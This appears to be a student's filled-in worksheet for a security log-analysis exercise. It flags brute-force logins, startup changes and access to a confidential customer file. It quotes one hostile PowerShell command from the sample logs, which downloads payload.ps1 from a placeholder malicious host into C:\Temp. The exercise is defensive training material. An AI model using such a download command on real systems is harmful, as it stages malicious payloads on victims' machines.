

Activity: Hands-On Log Analysis

1. Login Anomalies

- Do you notice anything unusual about the login times, sources, or success/failure patterns?
- Yes unusual activity because login times are at 2 in the morning, and multiple attempts, with first three being failed due to password, and last 3 being from different IP addresses.
- Are there signs of brute-force attempts or unauthorized access?
- Yes there are signs of brute-force, or unauthorized access attempted in Login Events showing multiple attempts on 4/27/25 at 2 in the morning with a bad password, and then at 0213 a successful login from 3 different IP addresses.

2. Suspicious Processes

- Are any unknown or oddly named processes running?
- Yes there is a "Invoke-WebRequest -Uri <http://malicioussite.biz/payload.ps1> -OutFile C:\Temp\payload.ps1".
- Do any processes appear in non-standard directories (like C:\Temp or Downloads)?
- Yes the "Invoke -WebRequest" as noted above.
- Are admin tools (like PowerShell or Task Scheduler) being misused?
- Yes, it appears PowerShell being misused

3. File Changes

- Has any executable been modified or newly added to startup directories?
- Yes: C:\Users\jdoe\AppData\Roaming\Microsoft\Windows\Start was detected.
- Do file hashes fail to match known-good versions?
- Yes

- Is there any sign of unauthorized file manipulation?
- Yes at 0219 there was an Unauthorized file access attempt:
C:\Users\jdoe\Documents\Confidential_Customer_List.xlsx - user: SYSTEM

Category	Suspicious Activity Found	Why It's Suspicious (Explanation)
Login Anomalies	Yes	Login times, and number of attempts is suspicious
Suspicious Processes	Yes	malicioussite.biz/payload.ps1 seems suspicious, and using powershell
File Changes	Yes	Seems to want Customer data: Confidential_Customer_List.xlsx